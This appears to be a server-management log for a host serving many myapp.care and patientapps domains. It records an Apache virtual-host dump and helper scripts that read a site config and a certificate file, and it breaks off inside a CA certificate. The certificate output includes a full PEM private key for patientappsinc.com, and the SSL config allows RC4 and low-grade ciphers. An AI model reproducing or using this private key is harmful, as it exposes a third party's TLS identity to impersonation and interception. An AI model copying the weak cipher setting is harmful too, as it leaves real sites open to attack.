         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:04: 

PUT: /tmp/pkp209382

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:04: 

chmod 755 /tmp/pkp209382; /tmp/pkp209382; rm /tmp/pkp209382

2026-03-20 06:01:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf	1906
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>







2026-03-20 06:01:04: 

PUT: /tmp/pkp466658

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:04: 

chmod 755 /tmp/pkp466658; /tmp/pkp466658; rm /tmp/pkp466658

2026-03-20 06:01:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt	5425
73:42:86:e9:ca:05:bb:bc:47:d2:91:55:b8:52:72:70

-----BEGIN CERTIFICATE-----
MIIFMTCCBBmgAwIBAgISBe+pGP35zm6i4wY/qhanu0+lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMjMxWhcNMjYwNjE4MDUwMjMwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHCO2cqlm6f8wHJXwp1zJoy0kpwqr7V7+A+VTOxVykONqtO/yxarI5Zkef
m5+v4VK7lusKjFFGuWNQYLFGmy2if9wm2W1QYkTDvnGPZoh9pz31KR2+xibdZgBp
+OlSkvFXXBZH4w7xjwUVNTAf16pwXZMteZhd4L8Yz+ohsQG4qg8IzKCj97EnYssF
N3USB6FafNFj4gXyXCf9RNGk0g/VLH5nmIE1RdnkRCPuV9gqC61+z83gjpy6uDBM
48DjYRHRrpfJeta+GYXMfHK5zi8ABBCcJUj8zSBhdCZTs+JzKRJNnF4yk8ZVOOxK
AUrQbxFRAmHvTVZL7dj/8kRcbBzHAgMBAAGjggJTMIICTzAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
4CHamUvuXi+Y2F1Zzn/vDCo55AIwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBXBgNVHREEUDBOghEqLnBhdGllbnRhcHBzLmNvbYIUKi5wYXRp
ZW50YXBwc2luYy5jb22CD3BhdGllbnRhcHBzLmNvbYIScGF0aWVudGFwcHNpbmMu
Y29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzguY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGdCdU5wQAABAMA
SDBGAiEA6m0H6bdA9JGE4ZX0GYAsWkwugry69uUXghMLi3Qu6EUCIQCjXlKihkbA
88WXtOQrWHf0i4dTtK1mvYQ6ft3H4+IGWgB2AJaXZL9VWJet90OHaDcIQnfp8DrV
9qTzNm5GpD8PyqnGAAABnQnVOhIAAAQDAEcwRQIgX7ChvZryuLg5BrY5pRLB3m11
SZw12f60FwJS9+tUl4YCIQC+epJBG0qc+FfqhroEd29xqWK7q9h6VPBdya0Mfv9d
2DANBgkqhkiG9w0BAQsFAAOCAQEAF7P6pdefA/6oOKulBKb1GgzORTrWI0QI3gN6
u1vTthoYZautGv9uE3FhvGKSEwrxBoc9zdWXcnr0FyiBckKE4GCOZdOW5n4Lz04t
8h21hkuZg+/cJxjVCAlefOrPiWDAi/grUrn51dcGwXT4JrCvZSMlcEvV5F71zGi6
UqpoMpelSiUb+KMPlTccf0nKhJH4EBd+hogrZCrt5TakO1NVypRsK7KFXv+jcb5Z
8ObM+gUQBrHQpEVWOpv9zHUQe9LrlrxqB/wsel0zyP/ycut7WhrEWyp97dGs7yUm
j6fOGFxORW3uKMf36QZhgfEQXcMFAXToY9poIAcidykjGMrdYw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHCO2cqlm6f8wH
JXwp1zJoy0kpwqr7V7+A+VTOxVykONqtO/yxarI5Zkefm5+v4VK7lusKjFFGuWNQ
YLFGmy2if9wm2W1QYkTDvnGPZoh9pz31KR2+xibdZgBp+OlSkvFXXBZH4w7xjwUV
NTAf16pwXZMteZhd4L8Yz+ohsQG4qg8IzKCj97EnYssFN3USB6FafNFj4gXyXCf9
RNGk0g/VLH5nmIE1RdnkRCPuV9gqC61+z83gjpy6uDBM48DjYRHRrpfJeta+GYXM
fHK5zi8ABBCcJUj8zSBhdCZTs+JzKRJNnF4yk8ZVOOxKAUrQbxFRAmHvTVZL7dj/
8kRcbBzHAgMBAAECggEAG35rPFH31SBkMbSG40y7xOgX8jHW5qNna8yFX465zmGg
K3/21xczCWTMjgq0U1pf0FP3odxiOc/QHUFOG7/B3QmmgqNUS19XumZrT3DNd/YL
Q/trBXhf1AOMGRduO57awcORvFpsLQghnp1bSXrEK4Nxmj2Kw6URIL9Py1mlMDnn
Cw7ADhPFwL5ucnwlP60Dc1ZhJ+UeipYhm1rrcgRDT3+aLU+djAIrHhmssxf3iCQk
VbjzhBboBD3bBzJkc25t49eW+7O2UcBOACwx/+fUB3xNBtdnhRE/GVRQsllv4GGo
mEIOUhZP3YmcT5il02q0lqfhuyCSOEvQSbfAnDW6mQKBgQD0pxwQ5KrVj/9QEmq+
E5nZ1i49xUHxTioVdOhoHyM03RLxXbSQGG7wOMa1xglTxkPC+D5b9UmfTiDF4DD3
avUxAa4XdEkPNp+ndDbEeLxrNPNrObTzVjHtpoip3xL2Y9geepKb4lpVotWHNe+T
o6V95GF/4qlpKffF/uaHGVcuMwKBgQDQRCxjKGoEYb17xVcdTvT49wkG/FvcqNBs
W5xE9e0kcSG7gG/zKMfkxSwUlF22hgGlaxLsP4aXemULjPrZXhkZgIcGOHHFkJ7V
tOB4GV8/h01CaGSsgdn/rBcsv+aQccsHZSG468qmD7+dCNgSvK3AEKCIYT1Eg+L/
lyTXQCGbHQKBgBi2eKNMNeV0sjmIYrfoivXyKKGct1iEqMOaF4/M9WV1n2A6Mu8L
SMmDMq9R3cdUk6uyH7pyQImS/sR+LPQRHcthfBBqcqbSwbXMi2u1NnMt2hjOr3SV
FF4JIGzoV6YD1+TcRMryRmW4GRGbZSPot+LLmv2sC6jP0HNzmB21dZT5AoGBAJiL
xsNef8Dz4nl9AyD5i1+selU+lP6cPAWSWHT+eRN/NgkDu3wsu7WqYm40eivOHfiO
5A5dPXVIdiiuu7JpRRMz3DLHNzZRhrXbxarSUrzSmtlwY4Ujm4y0/UiOyw+z+dVR
0xCCzS0zTdN0/edDgjSzORKLvvenbqZti9OKKtNVAoGAHwndtyn9pI6y7QbPZzS+
0n1j8fzZGsHvAIb/U1S/94RSXI4SzeoB+/zC4+s1uHQVpJUH/86YBbCIo8y2+v2s
t4tsALUD2WwXlu2HJhTSDYIAlldBacmlPZY56DjHlV+FgYo6aGaGgaMB5E8+g98l
fkqZomBFxhZ99ScViMe9/G8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
